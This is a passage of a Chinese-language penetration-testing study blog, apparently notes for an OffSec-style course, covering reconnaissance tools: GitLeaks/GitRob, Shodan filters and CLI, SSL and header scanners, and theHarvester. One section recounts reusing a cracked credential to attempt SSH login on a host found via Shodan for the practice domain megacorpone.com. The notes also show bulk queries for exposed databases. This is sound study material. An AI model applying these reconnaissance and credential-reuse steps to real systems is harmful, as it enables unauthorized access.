 &lt;th style="text-align: center"&gt;&lt;strong&gt;GitLeaks&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;GitRob&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;扫描目标&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;代码内容（敏感字符串）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;仓库文件结构（高危文件名）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;适用场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;本地/远程仓库深度内容检测&lt;/td&gt;
 &lt;td style="text-align: center"&gt;GitHub 公开仓库快速筛查&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;输出形式&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;JSON/命令行报告&lt;/td&gt;
 &lt;td style="text-align: center"&gt;命令行表格&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;联合策略&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;先用 GitRob 定位可疑仓库，再用 GitLeaks 深度扫描&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-四注意事项-1"&gt;⚠️ &lt;strong&gt;四、注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;法律合规：仅扫描授权目标，禁止未授权探测他人仓库。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;误报处理：GitLeaks 支持自定义规则（修改 &lt;code&gt;gitleaks.toml&lt;/code&gt;过滤误报）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;性能优化 ：大仓库扫描可能超时，建议通过&lt;code&gt;--max-target-megabytes&lt;/code&gt;限制文件大小。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-五实战流程示例"&gt;💎 &lt;strong&gt;五、实战流程示例&lt;/strong&gt;
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[GitRob 扫描目标用户仓库] --&gt; B{发现高危文件}
B --&gt;|存在 .env 等| C[GitLeaks 深度扫描该仓库]
B --&gt;|无风险| D[结束]
C --&gt; E[生成泄露报告]&lt;/pre&gt;&lt;h2 id="shodan网络空间搜索引擎"&gt;Shodan网络空间搜索引擎
&lt;/h2&gt;&lt;p&gt;Shodan 是一个专注于物联网设备和网络服务的搜索引擎，可用于安全研究、漏洞发现和资产监控。以下是详细的使用方法：&lt;/p&gt;
&lt;h3 id="一网页端使用shodanio"&gt;&lt;strong&gt;一、网页端使用（Shodan.io）&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;注册账户&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;访问 Shodan官网，网址：https://www.shodan.io/dashboard 注册免费账户（免费账户功能有限，付费账户支持高级搜索）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基础搜索命令&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关键词搜索&lt;/strong&gt;：直接输入设备类型（如 &lt;code&gt;webcam&lt;/code&gt;）、服务（如 &lt;code&gt;ftp&lt;/code&gt;）或厂商（如 &lt;code&gt;cisco&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;过滤器（组合使用更精准）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;port:&lt;/code&gt;：指定端口（例：&lt;code&gt;port:22&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;country:&lt;/code&gt;：国家代码（例：&lt;code&gt;country:CN&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;city:&lt;/code&gt;：城市（例：&lt;code&gt;city:beijing&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org:&lt;/code&gt;：组织/运营商（例：&lt;code&gt;org:&amp;quot;China Telecom&amp;quot;&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os:&lt;/code&gt;：操作系统（例：&lt;code&gt;os:&amp;quot;Windows Server&amp;quot;&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vuln:&lt;/code&gt;：CVE漏洞（例：&lt;code&gt;vuln:CVE-2024-1234&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;组合示例：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;apache country:US port:80 
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;用如下命令搜索该网站的22端口，因为我们刚刚破解了一个疑似是ssh登录的密码&lt;code&gt;trivera:Tanya4life&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hostname:megacorpone.com port:&amp;#34;22&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250530102359630" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530102359630.png"&gt;&lt;/p&gt;
&lt;p&gt;找到4个结果，最终测试发现&lt;code&gt;149.56.244.87&lt;/code&gt;可以登录ssh，但是密码似乎不对。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530104543322" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530104543322.png"&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;高级功能&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;地图视图&lt;/strong&gt;：搜索结果以地理分布展示。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞筛选&lt;/strong&gt;：点击 &amp;ldquo;Exploits&amp;rdquo; 标签查看相关漏洞。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资产监控&lt;/strong&gt;（付费功能）：监控特定IP或网络的安全状态。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="二kali-linux-命令行工具"&gt;&lt;strong&gt;二、Kali Linux 命令行工具（&lt;code&gt;shodan&lt;/code&gt;）&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="安装与配置"&gt;&lt;strong&gt;安装与配置&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安装工具&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install -y shodan # Kali官方源安装
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;或使用Python pip：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pip install shodan
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;初始化API密钥&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;登录 Shodan 官网，在个人资料中获取 API Key。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在终端配置：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan init YOUR_API_KEY
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="常用命令"&gt;&lt;strong&gt;常用命令&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;命令&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;th&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan count &amp;lt;query&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;统计匹配结果数量&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan count apache&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan search &amp;lt;query&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;搜索并显示结果（默认20条）&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search &amp;quot;nginx country:CN&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan download &amp;lt;文件名&amp;gt; &amp;lt;query&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;下载原始数据（JSON格式）&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan download results &amp;quot;port:21&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan parse &amp;lt;文件名&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;解析下载的数据&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan parse results.json.gz&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan host &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;查询指定IP的详细信息&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan host 8.8.8.8&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan scan list&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;列出主动扫描任务（需付费）&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan scan list&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="实用示例"&gt;&lt;strong&gt;实用示例&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;搜索暴露的 Redis 服务：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan search &amp;#34;product:redis&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;统计中国区暴露的 SSH 服务：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan count &amp;#34;port:22 country:CN&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;下载所有暴露的 MongoDB 数据并解析：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan download mongo_data &amp;#34;port:27017&amp;#34;
shodan parse mongo_data.json.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530105528564" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530105528564.png"&gt;&lt;/p&gt;
&lt;p&gt;优化显示&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; shodan parse --fields &lt;span class="s2"&gt;&amp;#34;ip_str,port,org&amp;#34;&lt;/span&gt; megacorpone.json.gz 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; shodan parse --fields &lt;span class="s2"&gt;&amp;#34;ip_str,port,org,hostnames,domains,isp,product,version,os,location.country_name,location.city,location.latitude,location.longitude&amp;#34;&lt;/span&gt; megacorpone.json.gz 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; shodan parse --fields &lt;span class="s2"&gt;&amp;#34;ip_str,port&amp;#34;&lt;/span&gt; --separator &lt;span class="s2"&gt;&amp;#34;,&amp;#34;&lt;/span&gt; &amp;gt; megacorpone.csv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Shodan 的 &lt;code&gt;--fields&lt;/code&gt; 参数支持丰富的字段选项，这些字段对应 Shodan 扫描结果中的 JSON 属性。以下是常用字段分类及示例：&lt;/p&gt;
&lt;h3 id="核心字段"&gt;&lt;strong&gt;核心字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ip_str&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;IP 地址 (字符串格式)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;port&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;端口号&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;org&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;组织/ISP (如 &amp;ldquo;Google LLC&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;hostnames&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;关联的主机名列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;domains&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;关联的域名列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;asn&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;自治系统号 (如 &amp;ldquo;AS15169&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;isp&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;网络服务提供商&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;transport&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;协议类型 (tcp/udp)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;product&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;检测到的产品 (如 &amp;ldquo;nginx&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;version&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;产品版本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;os&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;操作系统信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="地理位置字段"&gt;&lt;strong&gt;地理位置字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.country_code&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;国家代码 (如 &amp;ldquo;US&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.country_name&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;国家全名 (如 &amp;ldquo;United States&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.city&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;城市名&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.region_code&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;地区/州代码 (如 &amp;ldquo;CA&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.postal_code&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;邮政编码&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.latitude&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;纬度&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.longitude&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;经度&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="http-服务字段"&gt;&lt;strong&gt;HTTP 服务字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.title&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;网页标题&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.server&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;HTTP 服务器头&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.headers&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;完整 HTTP 头信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.robots&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;robots.txt 内容&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.sitemap&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;站点地图链接&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.security.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;security.txt 内容&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="ssltls-证书字段"&gt;&lt;strong&gt;SSL/TLS 证书字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.subject&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;证书主题&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.issuer&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;证书颁发机构&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.expired&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;是否过期 (true/false)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.validity.start&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;证书有效期开始&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.validity.end&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;证书有效期结束&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cipher.version&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;SSL/TLS 版本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.jarm&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;JARM 指纹&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="漏洞与安全字段"&gt;&lt;strong&gt;漏洞与安全字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;vulns&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;漏洞列表 (CVE IDs)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;opts.vulns&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;漏洞详情 (需企业权限)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;cpe&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;CPE 标识符列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan.ptr&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;PTR 记录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="特殊字段"&gt;&lt;strong&gt;特殊字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;banner&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;原始 banner 信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;data&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;完整响应数据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;timestamp&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;扫描时间戳 (ISO 格式)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;_shodan.id&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;Shodan 扫描 ID&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;_shodan.module&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;使用的扫描模块&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="使用技巧"&gt;&lt;strong&gt;使用技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;嵌套字段访问&lt;/strong&gt;：使用点号访问嵌套属性&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan parse --fields &amp;#34;ip_str,port,location.country_code&amp;#34; data.json.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;查看所有字段&lt;/strong&gt;：提取一条完整记录检查可用字段&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan parse data.json.gz | head -n 1
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组合关键字段&lt;/strong&gt;：常用组合示例&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# IP + 端口 + 国家 + 组织 + 产品
shodan parse --fields &amp;#34;ip_str,port,location.country_code,org,product&amp;#34; data.json.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;提示&lt;/strong&gt;：字段可用性取决于扫描类型和服务类型（HTTP/SSH/FTP 等）。使用 &lt;code&gt;shodan host &amp;lt;IP&amp;gt;&lt;/code&gt; 命令可查看某 IP 的完整字段结构。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="security-headers-scanner-安全标题扫描器"&gt;Security Headers Scanner 安全标题扫描器
&lt;/h2&gt;&lt;p&gt;网址：https://securityheaders.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530122751544" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530122751544.png"&gt;&lt;/p&gt;
&lt;h2 id="ssl-server-ssl服务测试"&gt;SSL Server SSL服务测试
&lt;/h2&gt;&lt;p&gt;网址：https://www.ssllabs.com/ssltest/analyze.html&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.ssllabs.com/ssltest/" target="_blank" rel="noopener"
 &gt;https://www.ssllabs.com/ssltest/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530123157583" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530123157583.png"&gt;&lt;/p&gt;
&lt;h2 id="pastebin存储和共享文本的网站"&gt;Pastebin存储和共享文本的网站。
&lt;/h2&gt;&lt;p&gt;网址：https://pastebin.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530123742777" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530123742777.png"&gt;&lt;/p&gt;
&lt;h2 id="stack-overflow国外代码问答网站"&gt;stack overflow国外代码问答网站
&lt;/h2&gt;&lt;p&gt;网址：https://stackoverflow.com/questions&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530124026005" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530124026005.png"&gt;&lt;/p&gt;
&lt;h2 id="theharvester-用户信息收集"&gt;theharvester 用户信息收集
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;theHarvester&lt;/code&gt; 是一款强大的开源情报（OSINT）收集工具，用于从公开来源挖掘目标信息（如域名、邮箱、IP、子域名等）。以下是其核心用法详解：&lt;/p&gt;
&lt;h3 id="基础语法"&gt;&lt;strong&gt;基础语法&lt;/strong&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;theHarvester -d &amp;lt;domain&amp;gt; [选项]
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-d&lt;/code&gt; / &lt;code&gt;--domain&lt;/code&gt;&lt;/strong&gt;：目标域名（必需参数）
示例：&lt;code&gt;theHarvester -d example.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="核心功能选项"&gt;&lt;strong&gt;核心功能选项&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-指定数据源关键选项"&gt;&lt;strong&gt;1. 指定数据源（关键选项）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;-b, --source &amp;lt;数据源&amp;gt; # 指定搜索源（默认：baidu,bing,duckduckgo,google）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;常用数据源&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;google&lt;/code&gt;：Google 搜索&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bing&lt;/code&gt;：Bing 搜索&lt;/li&gt;
&lt;li&gt;&lt;code&gt;linkedin&lt;/code&gt;：LinkedIn 员工信息&lt;/li&gt;
